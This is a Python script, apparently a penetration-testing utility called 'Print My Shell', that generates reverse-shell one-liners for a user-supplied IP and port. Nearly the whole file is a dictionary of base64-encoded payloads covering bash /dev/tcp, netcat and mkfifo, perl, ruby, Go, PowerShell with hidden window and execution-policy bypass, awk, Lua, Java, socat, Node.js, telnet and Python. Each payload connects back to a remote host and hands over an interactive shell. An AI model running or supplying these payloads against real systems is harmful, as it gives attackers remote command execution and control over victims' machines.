shell.py

import argparse
import base64    
import sys

banner = r'''
  ___     _     _     __  __        ___ _        _ _ 
 | _ \_ _(_)_ _| |_  |  \/  |_  _  / __| |_  ___| | |
 |  _/ '_| | ' \  _| | |\/| | || | \__ \ ' \/ -_) | |
 |_| |_| |_|_||_\__| |_|  |_|\_, | |___/_||_\___|_|_|
                             |__/ [by Sameera Madushan]                 

'''

print(banner)

parser = argparse.ArgumentParser()
parser.add_argument("-i", "--ip", type=str, help="IP address", dest='ipaddr')
parser.add_argument("-p", "--port", type=int, help="Port number", dest='portnum')
parser.add_argument("-t", "--type", type=str, help="Type of the reverse shell to generate", dest='type')
parser.add_argument("-l", "--list", action="store_true", help="List all available shell types", dest='list')
parser.add_argument("-a", "--all", action="store_true", help="Generate all the shells", dest='all')

# got this from here https://stackoverflow.com/a/47440202
args = parser.parse_args(args=None if sys.argv[1:] else ['--help'])



shell_dict = {
    
    "bash" : ['YmFzaCAtaSA+JiAvZGV2L3RjcC97MH0vezF9IDA+JjE=', 'MDwmMTk2O2V4ZWMgMTk2PD4vZGV2L3RjcC97MH0vezF9OyBzaCA8JjE5NiA+JjE5NiAyPiYxOTY='],
    
    "perl" : ['cGVybCAtZSAndXNlIFNvY2tldDskaT0iezB9IjskcD17MX07c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe3tvcGVuKFNURElOLCI+JlMiKTtvcGVuKFNURE9VVCwiPiZTIik7b3BlbihTVERFUlIsIj4mUyIpO2V4ZWMoIi9iaW4vc2ggLWkiKTt9fTsn',
              'cGVybCAtTUlPIC1lICckcD1mb3JrO2V4aXQsaWYoJHApOyRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCJ7MH06ezF9Iik7U1RESU4tPmZkb3BlbigkYyxyKTskfi0+ZmRvcGVuKCRjLHcpO3N5c3RlbSRfIHdoaWxlPD47Jw==',
              'Tk9URTogV2luZG93cyBvbmx5CnBlcmwgLU1JTyAtZSAnJGM9bmV3IElPOjpTb2NrZXQ6OklORVQoUGVlckFkZHIsInswfTp7MX0iKTtTVERJTi0+ZmRvcGVuKCRjLHIpOyR+LT5mZG9wZW4oJGMsdyk7c3lzdGVtJF8gd2hpbGU8Pjsn'],

    "ruby" : ['cnVieSAtcnNvY2tldCAtZSdmPVRDUFNvY2tldC5vcGVuKCJ7MH0iLHsxfSkudG9faTtleGVjIHNwcmludGYoIi9iaW4vc2ggLWkgPCYlZCA+JiVkIDI+JiVkIixmLGYsZikn',
              'cnVieSAtcnNvY2tldCAtZSAnZXhpdCBpZiBmb3JrO2M9VENQU29ja2V0Lm5ldygiezB9IiwiezF9Iik7d2hpbGUoY21kPWMuZ2V0cyk7SU8ucG9wZW4oY21kLCJyIil7e3xpb3xjLnByaW50IGlvLnJlYWR9fWVuZCc=',
              'Tk9URTogV2luZG93cyBvbmx5CnJ1YnkgLXJzb2NrZXQgLWUgJ2M9VENQU29ja2V0Lm5ldygiezB9IiwiezF9Iik7d2hpbGUoY21kPWMuZ2V0cyk7SU8ucG9wZW4oY21kLCJyIil7e3xpb3xjLnByaW50IGlvLnJlYWR9fWVuZCc='],

    "golang" : ['ZWNobyAncGFja2FnZSBtYWluO2ltcG9ydCJvcy9leGVjIjtpbXBvcnQibmV0IjtmdW5jIG1haW4oKXt7YyxfOj1uZXQuRGlhbCgidGNwIiwiezB9OnsxfSIpO2NtZDo9ZXhlYy5Db21tYW5kKCIvYmluL3NoIik7Y21kLlN0ZGluPWM7Y21kLlN0ZG91dD1jO2NtZC5TdGRlcnI9YztjbWQuUnVuKCl9fScgPiAvdG1wL3QuZ28gJiYgZ28gcnVuIC90bXAvdC5nbyAmJiBybSAvdG1wL3QuZ28='],

    "netcat" : ['bmMgLWUgL2Jpbi9zaCB7MH0gezF9', 'bmMgLWUgL2Jpbi9iYXNoIHswfSB7MX0=', 'bmMgLWMgYmFzaCB7MH0gezF9', 'Tk9URTogT3BlbkJTRApybSAvdG1wL2Y7bWtmaWZvIC90bXAvZjtjYXQgL3RtcC9mfC9iaW4vc2ggLWkgMj4mMXxuYyB7MH0gezF9ID4vdG1wL2Y='],

    "ncat" : ['bmNhdCB7MH0gezF9IC1lIC9iaW4vYmFzaA==', 'bmNhdCAtLXVkcCB7MH0gezF9IC1lIC9iaW4vYmFzaA=='],

    "powershell" : ['cG93ZXJzaGVsbCAtTm9QIC1Ob25JIC1XIEhpZGRlbiAtRXhlYyBCeXBhc3MgLUNvbW1hbmQgTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlNvY2tldHMuVENQQ2xpZW50KCJ7MH0iLHsxfSk7JHN0cmVhbSA9ICRjbGllbnQuR2V0U3RyZWFtKCk7W2J5dGVbXV0kYnl0ZXMgPSAwLi42NTUzNXwlezB9O3doaWxlKCgkaSA9ICRzdHJlYW0uUmVhZCgkYnl0ZXMsIDAsICRieXRlcy5MZW5ndGgpKSAtbmUgMCl7ezskZGF0YSA9IChOZXctT2JqZWN0IC1UeXBlTmFtZSBTeXN0ZW0uVGV4dC5BU0NJSUVuY29kaW5nKS5HZXRTdHJpbmcoJGJ5dGVzLDAsICRpKTskc2VuZGJhY2sgPSAoaWV4ICRkYXRhIDI+JjEgfCBPdXQtU3RyaW5nICk7JHNlbmRiYWNrMiAgPSAkc2VuZGJhY2sgKyAiUFMgIiArIChwd2QpLlBhdGggKyAiPiAiOyRzZW5kYnl0ZSA9IChbdGV4dC5lbmNvZGluZ106OkFTQ0lJKS5HZXRCeXRlcygkc2VuZGJhY2syKTskc3RyZWFtLldyaXRlKCRzZW5kYnl0ZSwwLCRzZW5kYnl0ZS5MZW5ndGgpOyRzdHJlYW0uRmx1c2goKX19OyRjbGllbnQuQ2xvc2UoKQ==',
                    'cG93ZXJzaGVsbCAtbm9wIC1jICIkY2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlNvY2tldHMuVENQQ2xpZW50KCd7MH0nLHsxfSk7JHN0cmVhbSA9ICRjbGllbnQuR2V0U3RyZWFtKCk7W2J5dGVbXV0kYnl0ZXMgPSAwLi42NTUzNXwlezB9O3doaWxlKCgkaSA9ICRzdHJlYW0uUmVhZCgkYnl0ZXMsIDAsICRieXRlcy5MZW5ndGgpKSAtbmUgMCl7ezskZGF0YSA9IChOZXctT2JqZWN0IC1UeXBlTmFtZSBTeXN0ZW0uVGV4dC5BU0NJSUVuY29kaW5nKS5HZXRTdHJpbmcoJGJ5dGVzLDAsICRpKTskc2VuZGJhY2sgPSAoaWV4ICRkYXRhIDI+JjEgfCBPdXQtU3RyaW5nICk7JHNlbmRiYWNrMiA9ICRzZW5kYmFjayArICdQUyAnICsgKHB3ZCkuUGF0aCArICc+ICc7JHNlbmRieXRlID0gKFt0ZXh0LmVuY29kaW5nXTo6QVNDSUkpLkdldEJ5dGVzKCRzZW5kYmFjazIpOyRzdHJlYW0uV3JpdGUoJHNlbmRieXRlLDAsJHNlbmRieXRlLkxlbmd0aCk7JHN0cmVhbS5GbHVzaCgpfX07JGNsaWVudC5DbG9zZSgpIg=='],
    
    "awk" : ['YXdrICdCRUdJTiB7e3MgPSAiL2luZXQvdGNwLzAvezB9L3sxfSI7IHdoaWxlKDQyKSB7eyBkb3t7IHByaW50ZiAic2hlbGw+IiB8JiBzOyBzIHwmIGdldGxpbmUgYzsgaWYoYyl7eyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8JiBzOyBjbG9zZShjKTsgfX0gfX0gd2hpbGUoYyAhPSAiZXhpdCIpIGNsb3NlKHMpOyB9fX19JyAvZGV2L251bGw='],

    "lua" : ['Tk9URTogTGludXggb25seQpsdWEgLWUgInJlcXVpcmUoJ3NvY2tldCcpO3JlcXVpcmUoJ29zJyk7dD1zb2NrZXQudGNwKCk7dDpjb25uZWN0KCd7MH0nLCd7MX0nKTtvcy5leGVjdXRlKCcvYmluL3NoIC1pIDwmMyA+JjMgMj4mMycpOyI=',
             'bHVhNS4xIC1lICdsb2NhbCBob3N0LCBwb3J0ID0gInswfSIsIHsxfSBsb2NhbCBzb2NrZXQgPSByZXF1aXJlKCJzb2NrZXQiKSBsb2NhbCB0Y3AgPSBzb2NrZXQudGNwKCkgbG9jYWwgaW8gPSByZXF1aXJlKCJpbyIpIHRjcDpjb25uZWN0KGhvc3QsIHBvcnQpOyB3aGlsZSB0cnVlIGRvIGxvY2FsIGNtZCwgc3RhdHVzLCBwYXJ0aWFsID0gdGNwOnJlY2VpdmUoKSBsb2NhbCBmID0gaW8ucG9wZW4oY21kLCAiciIpIGxvY2FsIHMgPSBmOnJlYWQoIiphIikgZjpjbG9zZSgpIHRjcDpzZW5kKHMpIGlmIHN0YXR1cyA9PSAiY2xvc2VkIiB0aGVuIGJyZWFrIGVuZCBlbmQgdGNwOmNsb3NlKCkn'],

    "java" : ['ciA9IFJ1bnRpbWUuZ2V0UnVudGltZSgpO3AgPSByLmV4ZWMoWyIvYmluL3NoIiwiLWMiLCJleGVjIDU8Pi9kZXYvdGNwL3swfS97MX07Y2F0IDwmNSB8IHdoaWxlIHJlYWQgbGluZTsgZG8gXCRsaW5lIDI+JjUgPiY1OyBkb25lIl0gYXMgU3RyaW5nW10pO3Aud2FpdEZvcigpOw=='],

    "socat" : ['c29jYXQgZXhlYzonYmFzaCAtbGknLHB0eSxzdGRlcnIsc2V0c2lkLHNpZ2ludCxzYW5lIHRjcDp7MH06ezF9', 'c29jYXQgdGNwLWNvbm5lY3Q6e306e30gc3lzdGVtOi9iaW4vc2g='],

    "nodejs" : ['KGZ1bmN0aW9uKCl7e3ZhciBuZXQ9cmVxdWlyZSgibmV0IiksY3A9cmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpLHNoPWNwLnNwYXduKCIvYmluL3NoIixbXSk7dmFyIGNsaWVudD1uZXcgbmV0LlNvY2tldCgpO2NsaWVudC5jb25uZWN0KHsxfSwiezB9IixmdW5jdGlvbigpe3tjbGllbnQucGlwZShzaC5zdGRpbik7c2guc3Rkb3V0LnBpcGUoY2xpZW50KTtzaC5zdGRlcnIucGlwZShjbGllbnQpO319KTtyZXR1cm4gL2EvO319KSgpOw=='],

    "telnet" : ['cm0gLWYgL3RtcC9wOyBta25vZCAvdG1wL3AgcCAmJiB0ZWxuZXQgezB9IHsxfSAwL3RtcC9w'],

    "python" : ['cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiezB9Iix7MX0pKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOyc=', 'Tk9URTogUHl0aG9uMwpweXRob24zIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiezB9Iix7MX0pKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOyc=']

}


if args.ipaddr or args.portnum != None:
    ip = args.ipaddr
    port = args.portnum
else:
    ip = '10.0.0.1'
    port = 1234

if args.type: 
    print('\n' + "[>]" " " + args.type + " " + "reverse shell" + " " + "[<]")
    for k,v in shell_dict.items():
        for i in v:
            if k == args.type:
                x = base64.b64decode(i).decode('utf-8')
                print('\n' + x.format(ip, port))
                
if args.list:
    print('\n' + "[>] Available Shells [<]\n")
    for k,v in shell_dict.items():
        print(k.capitalize())

if args.all:
    print('\n' + "[>] Generated All Shells [<]")
    for k,v in shell_dict.items():
        for i in v:
            x = base64.b64decode(i).decode('utf-8')
            print('\n' + x.format(ip, port))


'''
- Reverse Shells From - 
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
'''